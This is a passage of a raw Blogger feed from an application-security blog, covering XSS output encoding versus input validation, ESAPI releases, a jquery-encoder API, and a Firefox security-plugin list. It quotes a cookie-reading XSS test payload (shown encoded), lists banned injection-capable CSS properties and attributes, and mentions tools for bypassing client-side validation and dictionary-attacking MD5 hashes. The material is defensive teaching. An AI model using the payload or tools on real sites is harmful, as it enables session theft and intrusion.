While it is possible that a strict alpha-numeric whitelist validation approach could effectively mitigate the illustrated payloads; this is often not acceptable. I used the search results page as an example here for 2 specific reasons.&lt;br /&gt;
&lt;br /&gt;
1) Search Results Pages are were most of these issues exist.&lt;br /&gt;
2) Search Engines have their own parsing engines and data vs. context rules.&lt;br /&gt;
&lt;br /&gt;
If the whitelist is too strict, I won&#39;t be able to perform quality searches such as&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;q=mfg:&quot;Audi&quot;+model:&quot;A4&quot;+year:&amp;gt;2010+price:&amp;lt;25000&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;
Validation simply doesn&#39;t work in this case - yes, input validation should still happen here prior to forwarding this untrusted data to a back-end service such as Solr however when rendering on the view you want this to be encoded in the correct context:&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;html&quot; name=&quot;code&quot;&gt;&amp;lt;!-- /search.jsp --&amp;gt;
&amp;lt;div id=&quot;my-custom-div&quot;&amp;gt;
   Your search for ${encodeForHTML(request.getParameter(&quot;q&quot;))} returned &#39;${results.size}&#39; results
&amp;lt;/div&amp;gt;
&lt;/pre&gt;
&lt;br /&gt;
When the untrusted data gets rendered now, it becomes:&lt;br /&gt;
&lt;br /&gt;
&quot;&lt;i&gt;Your search for mfg:&quot;Audi&quot; model:&quot;A4&quot; year:&amp;amp;gt;2010 price:&amp;amp;lt;25000&lt;/i&gt;&quot;&lt;br /&gt;
&lt;br /&gt;
Additionally, an attempted attack from above becomes:&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;&quot;Your search for &amp;amp;lt;script&amp;amp;gt;alert(document.cookie);&amp;amp;lt;/script&amp;amp;gt;&quot;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: large;&quot;&gt;Exhibit B: Persistent XSS&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
Persistent XSS really isn&#39;t any different than reflective when it comes to mitigation. The primary difference between Reflective and Persistent XSS is that reflective XSS relies on crafting links or otherwise tricking a victim into submitting the payload to the application whereas persistent XSS has no such limitations. A victim only needs to visit a page that has previously been exploited and the application delivers the payload to the victim without any additional interaction from the attacker. This is an important distinction in the way the attacks are executed, however they are mitigated the same way, by using Output Encoding.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: large;&quot;&gt;Exhibit C: DOM-Based XSS&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
DOM Based XSS is a really interesting vector both from the attack and mitigate perspectives. What makes DOM Based XSS so unique is that it all happens in the browser. The details of what DOM-XSS actually is are discussed ad-nauseum &lt;a href=&quot;https://www.owasp.org/index.php/DOM_Based_XSS&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;http://www.webappsec.org/projects/articles/071105.shtml&quot;&gt;here&lt;/a&gt;&amp;nbsp;so I will refrain from trying to explain the details of it here. But if we examine the &lt;a href=&quot;https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet&quot;&gt;DOM-XSS Prevention Cheatsheet&lt;/a&gt;&amp;nbsp;(which I contributed to at the OWASP Summit 2011 in Lisbon) you will see that once again, Output Encoding is the clear answer to solving this problem. The difference here being that when dealing with DOM-XSS you are encoding with Javascript as opposed to using Server-Side encoding.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: large;&quot;&gt;Exhibit D: Edge Cases and Uncommon Vectors&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
In the conversation, a couple of edge cases were brought up. The first one was in dealing with File Uploads. I have to assume that the vector in question was related to this &lt;a href=&quot;http://ha.ckers.org/blog/20070603/image-upload-xss/&quot;&gt;Ha.ckers.org Post&lt;/a&gt;. If that is indeed the case, then there are a few ways to address the problem. Output Encoding will still absolutely solve the issue, as the image filename is rendered to the view, the filename - having been provided from an untrusted source initially (end-user) should be encoded as an &lt;b&gt;html attribute&lt;/b&gt; value in the &lt;u&gt;src&lt;/u&gt; attribute of the &lt;u&gt;img&lt;/u&gt; tag. While I would suggest doing that anyhow, the correct mitigation here is to rename a file rather than using the filename supplied in the post headers when writing it to disk.&lt;br /&gt;
&lt;br /&gt;
The second edge case to be brought up was json parsing. This vector is a DOM-XSS vector, but is really neither about encoding or validation. The problem occurs when someone uses &lt;strike style=&quot;color: red;&quot;&gt;eval&lt;/strike&gt;&amp;nbsp;to parse a json data payload rather than using the new &lt;i&gt;json_parse()&lt;/i&gt;&amp;nbsp;function that is supplied in &lt;b&gt;all&lt;/b&gt;&amp;nbsp;modern browsers and is back-ported for non-modern browsers.&lt;br /&gt;
&lt;br /&gt;
The last and final vector that was discussed was untrusted javascript and/or jsonp. Untrusted javascript and jsonp should &lt;b&gt;never&lt;/b&gt;&amp;nbsp;be executed in the scope of the document. This is also neither a validation or encoding issue, as neither are an XSS issue. These vectors are all about trust, and untrusted code should never be executed in the same scope or context as trusted code. The correct way to mitigate data-theft via untrusted script inclusion or jsonp is to execute that code in a sandbox or closure. In a sandbox or closure you can limit the scope of the execution context using a whitelist approach. &lt;a href=&quot;http://twitter.com/#%21/garethheyes&quot;&gt;Gareth Heyes&lt;/a&gt; has created some great sandboxing implementations to help combat against these attack vectors as &lt;a href=&quot;https://www.owasp.org/index.php/OWASP_JavaScript_Sandboxes&quot;&gt;OWASP Projects&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: large;&quot;&gt;Closing Statements&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;While I could (and maybe should) go into greater detail in each one of these areas, my main point with this post was to express that while Input Validation is a good idea for many many reasons, it is not the answer to solve one of the most prevalent bugs on the interwebz. Output Encoding remains the best practice for mitigating these attacks and by claiming otherwise we are doing a disservice to developers that really want to write more secure code.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Update 1:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;James Jardine has posted an excellent follow-up to this post on his blog over at&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;a href=&quot;http://www.jardinesoftware.net/2011/09/09/xss-validation-vs-encoding/&quot;&gt;http://www.jardinesoftware.net/2011/09/09/xss-validation-vs-encoding/&lt;/a&gt;&lt;span class=&quot;Apple-style-span&quot;&gt; &lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://yet-another-dev.blogspot.com/feeds/9011386807348192059/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yet-another-dev.blogspot.com/2011/09/xss-validation-vs-encoding.html#comment-form' title='13 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2278699633637555082/posts/default/9011386807348192059'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2278699633637555082/posts/default/9011386807348192059'/><link rel='alternate' type='text/html' href='http://yet-another-dev.blogspot.com/2011/09/xss-validation-vs-encoding.html' title='XSS - Validation vs. Encoding'/><author><name>Chris Schmidt</name><uri>http://www.blogger.com/profile/00176557422611541107</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6bOTMV0NKNtfXZvgAu95knHNmmoQvNBcKLWuPIS3XQFXDDxDohvUdq6iJSPJ_kFFcdUyoMxLkBjl1SlSt7eMfU2PmCr08xDsKnkdR6n44IAx305oYX71ZIngokgqS9Q/s1600/187576_540702549_2394666_n.jpg'/></author><thr:total>13</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2278699633637555082.post-2116096730935996239</id><published>2011-05-11T02:11:00.000-06:00</published><updated>2011-05-11T02:11:46.488-06:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="application security"/><category scheme="http://www.blogger.com/atom/ns#" term="ESAPI"/><category scheme="http://www.blogger.com/atom/ns#" term="OWASP"/><title type='text'>ESAPI 2.0GA IS RELEASED!</title><content type='html'>&lt;pre wrap=&quot;&quot;&gt;Friends, Romans, Countrymen - Lend me your ears!

It is my pleasure to announce the official release of ESAPI 2.0GA!

This release features some key enhancements over ESAPI 1.4.x including, 
but not limited to:

     * Upgrade baseline to use Java5
     * Completely redesigned and rewrote Encryptor
     * New and Improved Validation and Encoding Methods
     * Complete redesign of the ESAPI Locator and ObjectFactory
     * More unit tests
     * ESAPI Jar is now Signed with an OWASP Code Signing Certificate
     * ESAPI Jar is Sealed
     * And much, much more

We understand that a lot of you have been waiting a very long time for 
this, and so have we! It was important that we take our time with this 
release to make sure we had addressed everything possible prior to it 
going out. Included in that process was:

     * Peer review of the ESAPI Codebase
     * Code and Architecture Review of new Encryption
     * Adding and fixing unit tests
     * Tons of discussion and interaction with the OWASP Community and 
ESAPI Users

Without the feedback from our users, we could have never accomplished 
some of the awesome enhancements that have been made to the library 
since the last major release, so we owe you all a debt of gratitude for 
helping us design and implement controls that will ultimately help you 
write more secure applications.

We are currently in the process of getting a whole new suite of 
documentation, with a focus on integration tasks and actually using 
ESAPI in real applications - look for those documents over the next 
couple monthes, as well as a whole new contribs section in our 
repository aimed at providing turnkey components and solutions to some 
of the more commonly encountered integration points for ESAPI.

You can download the full distribution of ESAPI 2.0GA from our home on 
Google Code at:
&lt;a class=&quot;moz-txt-link-freetext&quot; href=&quot;http://code.google.com/p/owasp-esapi-java/downloads/list&quot;&gt;http://code.google.com/p/owasp-esapi-java/downloads/list&lt;/a&gt;

The latest API Docs can always be found at:
&lt;a class=&quot;moz-txt-link-freetext&quot; href=&quot;http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/index.html&quot;&gt;http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/index.html&lt;/a&gt;

Within the next 24-48 hours the distribution to Maven Central should be 
updated as well and you should be able to start using 2.0GA in your 
Maven projects as soon as that happens. Maven dependency will be:

&lt;dependency&gt;&lt;groupid&gt;&amp;lt;groupId&amp;gt;org.owasp.esapi&amp;lt;/groupId&amp;gt;&lt;/groupid&gt;
&lt;artifactid&gt;&amp;lt;artifactId&amp;gt;esapi&amp;lt;/artifactId&amp;gt;&lt;/artifactid&gt;
&lt;version&gt;&amp;lt;version&amp;gt;2.0GA&amp;lt;/version&amp;gt;&lt;/version&gt;
&lt;/dependency&gt;

As always, we would love to hear your feedback on the release and if you 
have any questions at all, you can join the ESAPI-User Mailing List here:
&lt;a class=&quot;moz-txt-link-freetext&quot; href=&quot;https://lists.owasp.org/mailman/listinfo/esapi-user&quot;&gt;https://lists.owasp.org/mailman/listinfo/esapi-user&lt;/a&gt;

Thanks again to the OWASP and ESAPI Community for helping us build and 
release the tools that help make the internet just a little bit more sane!

Sincerely,
The ESAPI Development and Management Teams

P.S. Please forward this along to any colleagues or distribution lists 
that may be interested.
&lt;/pre&gt;</content><link rel='replies' type='application/atom+xml' href='http://yet-another-dev.blogspot.com/feeds/2116096730935996239/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yet-another-dev.blogspot.com/2011/05/esapi-20ga-is-released.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2278699633637555082/posts/default/2116096730935996239'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2278699633637555082/posts/default/2116096730935996239'/><link rel='alternate' type='text/html' href='http://yet-another-dev.blogspot.com/2011/05/esapi-20ga-is-released.html' title='ESAPI 2.0GA IS RELEASED!'/><author><name>Chris Schmidt</name><uri>http://www.blogger.com/profile/00176557422611541107</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6bOTMV0NKNtfXZvgAu95knHNmmoQvNBcKLWuPIS3XQFXDDxDohvUdq6iJSPJ_kFFcdUyoMxLkBjl1SlSt7eMfU2PmCr08xDsKnkdR6n44IAx305oYX71ZIngokgqS9Q/s1600/187576_540702549_2394666_n.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2278699633637555082.post-7815809372699707164</id><published>2011-04-18T00:52:00.000-06:00</published><updated>2011-04-18T00:52:20.459-06:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ESAPI"/><category scheme="http://www.blogger.com/atom/ns#" term="javascript"/><category scheme="http://www.blogger.com/atom/ns#" term="OWASP"/><title type='text'>ESAPI4JS - Very good write-up by Marcus Niemietz</title><content type='html'>So late last week, I recieved the final copy of a paper written by Marcus Niemietz that takes a deep dive into the &lt;a href=&quot;https://www.owasp.org/index.php/ESAPI_JavaScript_Readme&quot;&gt;ESAPI4JS Proof of Concept&lt;/a&gt; I wrote over a year ago. I was quite surprised, to say the least - and a bit humbled by 20+ pages of text on the project. &lt;br /&gt;
&lt;br /&gt;
It&#39;s funny, I was just thinking about digging in my heals this spring and running through this code again - clean it up, trim a bunch of fat - and possibly do some additional integration into further &lt;a href=&quot;http://plugins.jquery.com/project/jqencoder&quot;&gt;jQuery plugins&lt;/a&gt;. Seems that I am not the only one who has been thinking about this project lately and that is great news! &lt;br /&gt;
&lt;br /&gt;
First and foremost - I have reposted the &lt;a href=&quot;https://www.owasp.org/images/0/0b/ESAPI4JS-Marcus.Niemietz.pdf&quot;&gt;entire report&lt;/a&gt; (with the author&#39;s permission and OWASP&#39;s) over on the &lt;a href=&quot;https://www.owasp.org/&quot;&gt;OWASP Site&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
Marcus spends some time discussing the project and concept of the project as well as the ESAPI project as a whole first off. Ths lays the groundwork for his paper and is probably stuff that most of you (my readers) already know. He also corrects some mistakes in the installation guide (that will be reflected on the wiki as soon as time allows). In addition he also spends some time discussing the assessment criteria and specifically how they relate to this project. &lt;br /&gt;
&lt;br /&gt;
Once we get passed all of that, we get into the real meat of the paper. &lt;br /&gt;
&lt;br /&gt;
Section 3 focuses on improvements that could be made to the project and this is where I would like to spend most of my time in this post. &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;3.1.x - Retrofitting Security&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Marcus calls out a point here that a mature SDL will have isolated the &quot;risks&quot; of the application prior to any development being done. This is generally very true for shops that have an established and mature SDL - but that statement definitely does not apply to the majority of software development shops that are writing applications for the web today. The idea of retrofitting security into an existing application is paramount to the idea behind ESAPI. It is imperative that developers have the ability to integrate ESAPI controls into existing applications because there are &lt;b&gt;a lot&lt;/b&gt;&amp;nbsp;more insecure existing applications on the internet right now then there are new applications being built. Several large shops have legacy applications that are no longer actively maintained unless there is a problem, some have such massive application portfolios that it isn&#39;t realistic to expect rewrites and large redesigns, and the majority of the applications that are live (and vulnerable) on the web today are smaller &quot;Mom and Pop&quot; applications. This is the target market for ESAPI!&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;3.2.x - Modification of Objects&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;br /&gt;
I heartily agree this is a huge issue - and one that I have passionately spoken out about whenever the opportunity arises. The fact of the matter is that until Javascript accepts the fact that some objects just *need* to be immutable, security will always be just another stepping stone for the attacker to (easily) overcome in the browser. In specific Marcus refers to the ability to overwrite objects in the DOM by referencing HTML Elements with the same id in Internet Explorer. While this is indeed a problem, the issue is much larger and depends 100% on the forced implementation of Immutable Objects in &lt;b&gt;ALL&lt;/b&gt;&amp;nbsp;browsers as described in the &lt;a href=&quot;http://www.ecma-international.org/publications/standards/Ecma-262.htm&quot;&gt;ECMAScript 5 Specification&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;3.3.x - Redundancy&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;br /&gt;
This is a tricky issue in some regards, while most of this is due to the fact that I was simply creating a proof of concept that this could be done in Javascript - I also am a firm believer that &lt;b&gt;all&lt;/b&gt;&amp;nbsp;implementations of the ESAPI (regardless of language) should follow a well defined API specification. Because of this, it is to be expected that there will be some redundancy in some languages - some methods that perhaps just don&#39;t make sense in the language (such as the illustrated escape/unescape methods) will be implemented anyhow just to enforce the contract (implied in JS of course) of the API.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Adding more Validation!&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;br /&gt;
I &amp;nbsp;agree with this to a certain extent - I think that all the suggested validators should be &quot;available&quot;, but there is no need for my user registration form on my small used book store to require validation of International Bank Account Numbers - it does however make sense to provide ISBN validation. This problem (I believe anyhow) is addressed very well in the jQuery Plugin architecture and I would ultimately like to see this same type of architecture implemented into future ESAPI4JS implementations.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Summary&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;br /&gt;
All in all, I think Marcus did a great job researching and presenting his case in this paper, and I highly recommend that everyone give it a read and comment. I look forward to reading your comments and rebuttals &amp;nbsp;- this is how we change the world people. One small debate at a time. :)</content><link rel='replies' type='application/atom+xml' href='http://yet-another-dev.blogspot.com/feeds/7815809372699707164/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yet-another-dev.blogspot.com/2011/04/esapi4js-very-good-write-up-by-marcus.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2278699633637555082/posts/default/7815809372699707164'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2278699633637555082/posts/default/7815809372699707164'/><link rel='alternate' type='text/html' href='http://yet-another-dev.blogspot.com/2011/04/esapi4js-very-good-write-up-by-marcus.html' title='ESAPI4JS - Very good write-up by Marcus Niemietz'/><author><name>Chris Schmidt</name><uri>http://www.blogger.com/profile/00176557422611541107</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6bOTMV0NKNtfXZvgAu95knHNmmoQvNBcKLWuPIS3XQFXDDxDohvUdq6iJSPJ_kFFcdUyoMxLkBjl1SlSt7eMfU2PmCr08xDsKnkdR6n44IAx305oYX71ZIngokgqS9Q/s1600/187576_540702549_2394666_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2278699633637555082.post-5688012619947691279</id><published>2011-03-07T11:48:00.000-07:00</published><updated>2011-03-07T11:48:46.175-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="dom based xss"/><category scheme="http://www.blogger.com/atom/ns#" term="encoder"/><category scheme="http://www.blogger.com/atom/ns#" term="javascript"/><category scheme="http://www.blogger.com/atom/ns#" term="jquery"/><title type='text'>New Encoding - Property Aware Contextual Encoding</title><content type='html'>After some conversations over &lt;a href=&quot;http://twitter.com/carne&quot;&gt;Twitter&lt;/a&gt; with the the XSS Ninja known as &lt;a href=&quot;https://twitter.com/garethheyes&quot;&gt;Gareth Heyes&lt;/a&gt; regarding different escaping needs that went even further than just having the context itself. Basically, the gist of the conversation asserted that different escaping rules applied to different CSS properties, for instance the background-color property accepts Hexadecimal color codes (&lt;code&gt;#CCCCCC&lt;/code&gt;) or rgb color (&lt;code&gt;rgb(100,100,100)&lt;/code&gt;) formulas as well as plain-text well-known color keywords (&lt;code&gt;blue&lt;/code&gt;) - this is drastically different than what would go into something like say the width property - which would simply be a fixed size or percentage. It was at this point that we came to the conclusion that jquery-encoder should use the property name that is being encoded for to determine the correct escaping syntax. &lt;br /&gt;
&lt;br /&gt;
The new API for the property aware encodeForXXX methods follows&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;code&gt;encodeForCss(property,data,omitPropertyName)&lt;br /&gt;
Returns the encoded &lt;code&gt;property: value&lt;/code&gt; pair, escaped in the context of the passed in property. Banned properties are the &lt;code&gt;behavior&lt;/code&gt; family (behavior,-moz-behavior,-ms-behavior) as they are not safe to be set using untrusted data and allow for script injection by definition. Values that contain the expression keyword will also be rejected as unsafe, as this is the equivelent of calling the javascript &lt;code&gt;eval&lt;/code&gt; within a style context. If the optional &lt;code&gt;omitPropertyName&lt;/code&gt; is &lt;code&gt;true&lt;/code&gt; the function will return only the &lt;code&gt;value&lt;/code&gt; encoded for the passed in property.&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;encodeForHTMLAttribute(attribute,data,omitAttributeName)&lt;br /&gt;
Returns the encoded &lt;code&gt;attribute=&quot;value&quot;&lt;/code&gt; pair, escaped in the context of the passed in attribute. Banned attributes are &lt;code&gt;href&lt;/code&gt; and &lt;code&gt;src&lt;/code&gt; as those should be encoded using the &lt;code&gt;encodeForUrl&lt;/code&gt; function. The javascript event hooks &lt;code&gt;on*&lt;/code&gt; are also banned as they should be set using the &lt;code&gt;encodeForJavascript&lt;/code&gt; function. The &lt;code&gt;style&lt;/code&gt; attribute should be set using the &lt;code&gt;encodeForCSS&lt;/code&gt; function. If the optional &lt;code&gt;omitAttributeName&lt;/code&gt; parameter is true, the function will return only the &lt;code&gt;value&lt;/code&gt; encoded for the passed in attribute.&lt;br /&gt;
&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;
In all cases, the property/attribute names are canonicalized prior to encoding to validate and get the escaping context for that property (or the default if there is no specific context specified)&lt;br /&gt;
&lt;br /&gt;
This was a somewhat difficult decision to make, simply because it is mixing in a bit of validation with the output encoding control - which is not necessarily ideal from a pure design standpoint. I felt however, that this was a necessary evil in order to ensure correct encoding/escaping context and get the most value from the plugin.&lt;br /&gt;
&lt;br /&gt;
Please continue to send me your thoughts and ideas for the plugin - I plan on releasing it to the general public through the jQuery plugin repository within the next couple weeks so any feedback from the community leading up to the release of the plugin will only make it stronger! &lt;br /&gt;
&lt;br /&gt;
As always, the latest version of the plugin is available from my github &lt;br /&gt;
&lt;a href=&quot;https://github.com/chrisisbeef/jquery-encoder&quot;&gt;https://github.com/chrisisbeef/jquery-encoder&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
The sandbox (which will be updated with the latest version today) is available on my site:&lt;br /&gt;
&lt;a href=&quot;http://software.digital-ritual.net/jqencoder/&quot;&gt;http://software.digital-ritual.net/jqencoder/&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://yet-another-dev.blogspot.com/feeds/5688012619947691279/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yet-another-dev.blogspot.com/2011/03/new-encoding-property-aware-contextual.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2278699633637555082/posts/default/5688012619947691279'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2278699633637555082/posts/default/5688012619947691279'/><link rel='alternate' type='text/html' href='http://yet-another-dev.blogspot.com/2011/03/new-encoding-property-aware-contextual.html' title='New Encoding - Property Aware Contextual Encoding'/><author><name>Chris Schmidt</name><uri>http://www.blogger.com/profile/00176557422611541107</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6bOTMV0NKNtfXZvgAu95knHNmmoQvNBcKLWuPIS3XQFXDDxDohvUdq6iJSPJ_kFFcdUyoMxLkBjl1SlSt7eMfU2PmCr08xDsKnkdR6n44IAx305oYX71ZIngokgqS9Q/s1600/187576_540702549_2394666_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2278699633637555082.post-132709471198588307</id><published>2011-02-28T17:30:00.002-07:00</published><updated>2011-02-28T17:33:46.317-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="application security"/><category scheme="http://www.blogger.com/atom/ns#" term="firefox"/><category scheme="http://www.blogger.com/atom/ns#" term="top ten"/><title type='text'>Firefox Plugins for Security Professionals - Top Ten for Twenty-Ten</title><content type='html'>Better late than never, is the saying I am searching for I believe. I have been slacking on this list for the last couple months, and now that it is nearly March I have decided I had better get off my dead (but very shapely) behind and get &#39;er done! So without further ado, the ever popular and still far better than any of Letterman&#39;s top ten lists - Top Ten for Twenty-Ten! *insert applause here*&lt;br /&gt;
&lt;br /&gt;
10. &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/imacros-for-firefox/&quot;&gt;iMacros&lt;/a&gt;&lt;br /&gt;
This plugin has absolutely nothing to do with security, however, it is all about automation these days - you can write handy macros to probe every page you go to for happy little bugs that you can later play with (responsibly, of course)&lt;br /&gt;
&lt;br /&gt;
9. &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/tamper-data/&quot;&gt;Tamper Data&lt;/a&gt;&lt;br /&gt;
Still among my favorite plugins. This is like having a version of WebScarab or BuRP right in your browser! Every request goes through this plugin and you can modify or alter each one on it&#39;s way to the server. Handy for bypassing those pesky client-side validations without having to disable JavaScript on the page.&lt;br /&gt;
&lt;br /&gt;
8. &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/&quot;&gt;Wappalyzer&lt;/a&gt;&lt;br /&gt;
Remote web app fingerprinting plugin that does a good job picking out what technologies web applications are using by analyzing the code for particular fingerprinting signatures. I haven&#39;t been using this for a terribly long time, but so far it beats the hell out of trying to manually determine the technology stack that an app is using.&lt;br /&gt;
&lt;br /&gt;
7.&lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/jsonview/&quot;&gt;JSONView&lt;/a&gt;&lt;br /&gt;
Very handy for inspecting what is *really* going on it AJAX applications. This prints out JSON responses in a very readable way. Pretty self-explanatory plugin.&lt;br /&gt;
&lt;br /&gt;
6. &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/javascript-deobfuscator/&quot;&gt;Javascript Deobfuscator&lt;/a&gt;&lt;br /&gt;
Curious about what GWT is really doing in your JavaScript Engine? What to see how the Javascript Engine interprets a specific jQuery function? Needs to be able to monitor what obfuscated JS code is doing? Then this is the plugin for you. It slows down the JS engine *alot* - but it is far better than any other deobfuscator I have tired because it deals directly with the Javascript Engine!&lt;br /&gt;
&lt;br /&gt;
5. &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/poster/&quot;&gt;Poster&lt;/a&gt;&lt;br /&gt;
Very handy little tool for playing around with RESTful web services. Far more intuitive than using Curl or writing custom clients to muck around with webservices. &lt;br /&gt;
&lt;br /&gt;
4. &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/advanced-dork/&quot;&gt;Advanced Dork&lt;/a&gt;&lt;br /&gt;
Plugin to aid with the well-understood and vastly practiced art of Google Dorking. Do I really need to go into how useful this can be?&lt;br /&gt;
&lt;br /&gt;
3. &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/cryptofox/&quot;&gt;CryptoFox&lt;/a&gt;&lt;br /&gt;
Replacing both FireEncryptor and Leetkey this year is the *awesome* CryptoFox plugin which encrypts, decrypts, and even has a built in dictionary attack for MD5 passwords. Really, this is one of the coolest plugins I have seen to date for crypto related activities in the browser.&lt;br /&gt;
&lt;br /&gt;
AES-256 (cryptofox) &lt;br /&gt;
uD5sTYKCgoI/cZ8YCOik9gnCWMS/qOR8grD4Kpez41WHIq5YPek+R/yiOKEKf/Q5Zu3SIXFlfD2QUaoxClzSFPTQue8qLogV7XEZypIQ9UzhX3n6zyXljGw=&lt;br /&gt;
&lt;br /&gt;
2. &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/firequery/&quot;&gt;FireQuery&lt;/a&gt;&lt;br /&gt;
Normally this would be listed in the same place as Firebug, however - this add-on add-on really, truly deserves it&#39;s own spotlight. With the popularity of jQuery on the web for doing, well, basically *everything* you can possibly do client-side - this greatly simplifies the art of discovering just where the developers did it wrong and find that DOM-XSS bug in their jQuery code! If you are testing rich-ui applications, this is a must-have.&lt;br /&gt;
&lt;br /&gt;
1. &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/search/?q=firebug&amp;cat=all&amp;x=0&amp;y=0&quot;&gt;The Firebug Family&lt;/a&gt;&lt;br /&gt;
Firebug is one of those truly interesting add-ons for Firefox that really became a platform unto itself. At some point, a bunch of developers decided that writing add-ons for the firebug add-on was more fruitful than writing add-ons for the host container, firefox. If you really need to know more about this plugin - just go click the link and read for yourself. This plugin is an absolute must-have for anyone who has ever come within 100 miles of security or development in their life. If you great uncle&#39;s wife&#39;s sister&#39;s dog&#39;s former owner happened to be a security guy, you had better have this plugin installed - or else the interwebz police are gonna come revoke all your internets and you won&#39;t be allowed to read my blog anymore.&lt;br /&gt;
&lt;br /&gt;
